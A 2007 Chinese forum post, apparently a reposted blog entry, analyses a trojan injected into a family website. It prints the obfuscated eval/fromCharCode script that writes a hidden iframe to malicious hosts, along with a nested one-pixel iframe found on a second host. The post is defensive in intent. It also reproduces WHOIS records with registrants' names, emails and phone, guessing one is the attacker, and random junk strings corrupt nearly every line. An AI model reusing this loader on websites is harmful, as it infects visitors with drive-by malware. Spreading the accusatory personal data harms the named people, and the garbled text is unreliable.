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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, "g5<jp  
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http://www.areway.cn/?p=175 Lo<WK  
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i,h)V Cc  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 9^?2{aP%  
          SuR+Vv  
<script>t=’60,105,102,114,97,109,101, d53Eu`QW?  
32,115,114,99,61,104,116,116,112,58,47,47, w#d7  
102,114,101,101,46,117,45,117,117,117,46,99, : uxJGx  
110,47,101,114,114,111,114,46,104,116,109, sC'PtFK8z  
32,119,105,100,116,104,61,49,48,48,32,104, ).32Im!;#R  
101,105,103,104,116,61,48,62,60,47,105,102, >6KwZr BB  
114,97,109,101,62′; aCRiW;+'  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> #Zg pm"MW  
                                                                                                  ]."t  
<script>t=’60,105,102,114,97,109,101,32,115, Qef5eih  
114,99,61,104,116,116,112,58,47,47,102,114, *b4W+E  
101,101,46,117,45,117,117,117,46,99,110,47, Z!+n/ D-1  
101,114,114,111,114,46,104,116,109,32,119, 5_\1f|,  
105,100,116,104,61,49,48,48,32,104,101,105, 1rIL[(r4  
103,104,116,61,48,62,60,47,105,102,114,97, s?JOGu  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); L9]y~[R:  
document.write(t);</script> -5b#w"^w^  
                                                                                                  'u#c_m! 9  
<html xmlns=” no$X0ia  
http://www.w3.org/1999/xhtml {zI>"%$u  
“>  \4j(el  
<head> D!DL6l`  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> P(b ds  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 84_Y+_9  
<title>首页 - 爱生活家庭网 \IhHbcF`d  
                                                                                                                                                    ;uho.)%N`F  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 wii.0~p  
转换字符串后的大概内容是(谁点击后果自付): YJ !jdE}  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… F Jp<J  
                                                                                                                                  Z5V_?bm$  
查询玉米u-uuu.cn的详细信息: m;J'y2h =$  
Domain Name: u-uuu.cn yRivf.wH  
ROID: 20070901s10001s64972306-cn 6{w'q&LYcE  
Domain Status: ok \;+TZ1i_  
Registrant Organization: 王雷 N^{}Qvrr  
Registrant Name: 王雷 _oHxpeM  
Administrative Email: czlovexs@126.com P\y ZcL  
Sponsoring Registrar: 北京万网志成科技有限公司 0Of6$`  
Name Server:ns.yovole.com C';Dc4j  
Name Server:ns1.yovole.com 2c'<rkA  
Registration Date: 2007-09-01 17:54 *&z !y/  
Expiration Date: 2008-09-01 17:54 RGLJaEl !  
最后PING了一下地址 都没有什么…. s$ kvLy<  
                                                                                                SN 4JX  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. -C2[ZP-  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> +V9(4la  
<script language=”javascript” src=” 4nXemU=  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 'Yaq; mDY  
> V$_.&S?(Y  
这个玉米应该有可能是木马作者的: X"V)oC  
foafau.info的详细信息: q8)w Al  
Access to INFO WHOIS information is provided to assist persons in o]eG+i6g]  
determining the contents of a domain name registration record in the Jsa;pG=3&  
Afilias registry database. The data in this record is provided by :(K JLa]  
Afilias Limited for informational purposes only, and Afilias does not 5`6U:MDq  
guarantee its accuracy.  This service is intended only for query-based gL &)l!2Y  
access. You agree that you will use this data only for lawful purposes  e**5_L  
and that, under no circumstances will you use this data to: (a) allow, _Qq lOc9  
enable, or otherwise support the transmission by e-mail, telephone, or v\g1 w&PN  
facsimile of mass unsolicited, commercial advertising or solicitations EeQ2\'t  
to entities other than the data recipient’s own existing customers; or CHVAs9mrNB  
(b) enable high volume, automated, electronic processes that send _&M^}||UH  
queries or data to the systems of Registry Operator, a Registrar, or yBCLS550  
Afilias except as reasonably necessary to register domain names or BQ=JZ4&  
modify existing registrations. All rights reserved. Afilias reserves t:P]G>)x|  
the right to modify these terms at any time. By submitting this query, f.c2AY~5[  
you agree to abide by this policy. B@ >t$jK  
Domain ID:D22418703-LRMS A>f rf[fAW  
Domain Name:FOAFAU.INFO *|^|| bd  
Created On:20-Nov-2007 16:05:42 UTC RS|*3 $1  
Last Updated On:20-Nov-2007 16:05:44 UTC `Bb32L   
Expiration Date:20-Nov-2008 16:05:42 UTC xS;tmc  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) #"-DE-I[  
Status:CLIENT DELETE PROHIBITED wkY$J\J  
Status:CLIENT RENEW PROHIBITED `NyO|9/4  
Status:CLIENT TRANSFER PROHIBITED HOrXxxp1^  
Status:CLIENT UPDATE PROHIBITED n0)y|B#  
Status:TRANSFER PROHIBITED R1Fcd@DWD  
Registrant ID:GODA-040110615 }((P)\s  
Registrant Name:liu hong ~"Su2{"8B  
Registrant Organization: L/)eNZ  
Registrant Street1:beijing ] I5&'#%2  
Registrant Street2: bduHYs+rq  
Registrant Street3: hb(H-`16  
Registrant City:beijing "g/UpnH  
Registrant State/Province: K."W/A!  
Registrant Postal Code:100000 |9[)-C~N7  
Registrant Country:CN 4j(*%da  
Registrant Phone:+86.860108888777 5^{I}Q  
Registrant Phone Ext.: <.{OIIuk  
Registrant FAX: T[-Tqi NT  
Registrant FAX Ext.: i&-g  
Registrant Email:bbbshiji@163.com _z\qtl~3  
Admin ID:GODA-240110615 DG,m;vg+  
Admin Name:liu hong '8LHX6FXK  
Admin Organization: F5H]$AjW  
Admin Street1:beijing Q6p75$SVq  
Admin Street2: [xXV5 JU  
Admin Street3: A~;.9{6J[t  
Admin City:beijing \okvL2:!  
Admin State/Province: Z ?ATWCa  
Admin Postal Code:100000 aqgm  
Admin Country:CN 2gW+&5; 4  
Admin Phone:+86.860108888777 mj ,Oy  
Admin Phone Ext.: zpy&\#Vc  
Admin FAX: ?[.g~DK,  
Admin FAX Ext.: O`_]n  
Admin Email:bbbshiji@163.com 16"L;r  
Billing ID:GODA-340110615 k;<F33v;Mh  
Billing Name:liu hong xv7nChB  
Billing Organization: XvZ5Q  
Billing Street1:beijing wsj5;(f+  
Billing Street2: )o;n2T#O  
Billing Street3: FX+^S?x.  
Billing City:beijing -h2 1  
Billing State/Province: qxHsmGV  
Billing Postal Code:100000 -3SRGr  
Billing Country:CN ;I>77gi`]  
Billing Phone:+86.860108888777 d 1 O+qS  
Billing Phone Ext.: :eBp`dmn  
Billing FAX: \wp8kSzC  
Billing FAX Ext.: %1M!4**W  
Billing Email:bbbshiji@163.com 7U - ?Rd  
Tech ID:GODA-140110615 3 =_to7]  
Tech Name:liu hong [bEm D  
Tech Organization: 0C717  
Tech Street1:beijing rUmnv%qTS  
Tech Street2: MNX-D0`g  
Tech Street3: _:Ov-HIR  
Tech City:beijing 0Hr)h{!F"  
Tech State/Province: Oe0dC9H  
Tech Postal Code:100000 (Li)@Cn%  
Tech Country:CN UO' X"`  
Tech Phone:+86.860108888777 zTze %  
Tech Phone Ext.: {/XU[rn  
Tech FAX: 8u Z4[  
Tech FAX Ext.: C7!=LiK}  
Tech Email:bbbshiji@163.com ;_1 >nXh  
Name Server:NS27.DOMAINCONTROL.COM o2^?D`Jr  
Name Server:NS28.DOMAINCONTROL.COM tp b(.`G  
Name Server: c#pVN](?  
Name Server: gWy2E;"a  
Name Server: [jF\"#A  
Name Server: eD N%p  
Name Server: G EAVc9V  
Name Server: NTSKmCvQG  
Name Server: HgRfMiC  
Name Server: ]2xoeNF/W{  
Name Server: BtP*R,>  
Name Server: [,qb) &_  
Name Server: DO? bJ01  
                                                                                                          =e]Wt/AQ  
接着下载每个文件里面的代码: ]K%D$x{+\  
一步一步看.. Ay\!ohIS3  
Mp^U)S+  
nHB`<B  
yXA]E.K!  
Xqas[:)7+  
!7anJl  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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